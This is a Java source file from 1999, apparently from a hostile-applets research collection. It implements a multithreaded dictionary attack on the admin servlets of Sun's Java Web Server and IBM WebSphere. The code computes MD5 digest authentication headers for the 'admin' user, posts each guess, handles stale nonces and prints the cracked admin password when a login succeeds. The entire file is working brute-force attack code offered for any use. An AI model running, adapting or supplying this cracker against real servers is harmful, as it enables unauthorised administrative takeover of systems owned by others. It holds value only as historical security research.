/* AdminCracker.java */ /* February 14, 1999 */ /* Copyright (c) 1999 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* Author: Dr. Mark D. LaDue Home Page: http://www.rstcorp.com/hostile-applets/index.html */ /* This simple class gets a list of words from the global dictionary and tries to crack the admin password of Sun's Java Web Server and IBM's WebSphere. It makes use of their handy admin servlets, which can be found by using the AdminScanner utility. */ import java.io.*; import java.net.*; import java.util.*; public class AdminCracker implements Runnable { URL theURL = null; int firstIndex = 0; int lastIndex = 0; String thePWord = null; String theNonce = ""; boolean cracked = false; public AdminCracker(URL url, int first, int last) { // Increment the global count of active Threads CrackAdmin.activeStep(1); theURL =url; firstIndex = first; if (last < CrackAdmin.getDictSize()) { lastIndex = last; } else { lastIndex = CrackAdmin.getDictSize() - 1; } } public void run() { // Tools for testing passwords URLConnection testcon = null; PrintWriter testpw = null; InputStream testin = null; BufferedReader br = null; String version = null; String success = null; String whyItFailed = null; String threadName = Thread.currentThread().getName(); for (int index = firstIndex; index <= lastIndex; index++) { // Get the next word and the current nonce thePWord = CrackAdmin.getDictWord(index); theNonce = CrackAdmin.getNonce(0); cracked = false; try { // Try the next password testcon = theURL.openConnection(); testcon.setDoOutput(true); testcon.setUseCaches(false); testcon.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); testpw = new PrintWriter(testcon.getOutputStream()); testpw.print(getLoginURLEncoding("testLogin", "")); testpw.flush(); testpw.close(); // What did the admin servlet say? testin = testcon.getInputStream(); br = new BufferedReader(new InputStreamReader(testin)); version = br.readLine(); br.readLine(); success = br.readLine(); // If lines 1 and 3 loook good, we've found the admin password if (version.startsWith("Version:") && success.startsWith("success")) { cracked = true; } // Otherwise line 4 might tell us what went wrong else { whyItFailed = br.readLine(); } br.close(); // If we found the admin password... if (cracked) { CrackAdmin.activeStep(-1); System.out.println("\n" + threadName + ": " + "The admin password for " + theURL.toString() + " is \"" + thePWord + "\""); System.exit(0); } else { // If the nonce was stale... if (whyItFailed.startsWith("Invalid nonce")) { System.out.print("?"); // Update the failed nonce, if that's not already been done if (CrackAdmin.getNonce(0).equals(theNonce)) { CrackAdmin.getNonce(1); } // And try that word again index--; } else { System.out.print("."); } } } catch (Throwable thr) { // If it got hosed, then sleep a bit and try again System.out.print("!"); index--; try { Thread.currentThread().sleep(1000*(CrackAdmin.SLEEPTIME)); } catch (InterruptedException ie) {} } } // If no errors occurred, decrement the global count of active Threads CrackAdmin.activeStep(-1); } /* Make the query String for logging in as admin */ private String getLoginURLEncoding(String cl, String m) { StringBuffer buf = new StringBuffer(); buf.append("class="); buf.append(URLEncoder.encode(cl)); buf.append("&method="); buf.append(URLEncoder.encode(m)); buf.append("&Authorization="); buf.append(URLEncoder.encode(createAuthHeader())); return buf.toString(); } /* Make the String value for "Authorization" to send to the admin servlet */ private String createAuthHeader() { MD5Digest md5d = new MD5Digest(); String dig = md5d.computeDigest("admin", thePWord, "adminRealm", "POST", "/servlet/admin", theNonce); String authHeader = URLEncoder.encode("Digest username=\"" + "admin" + "\", response=\"" + dig + "\", nonce=\"" + theNonce + "\", realm=\"" + "adminRealm" + "\"" + ", uri=\"" + "/servlet/admin" + "\""); return authHeader; } }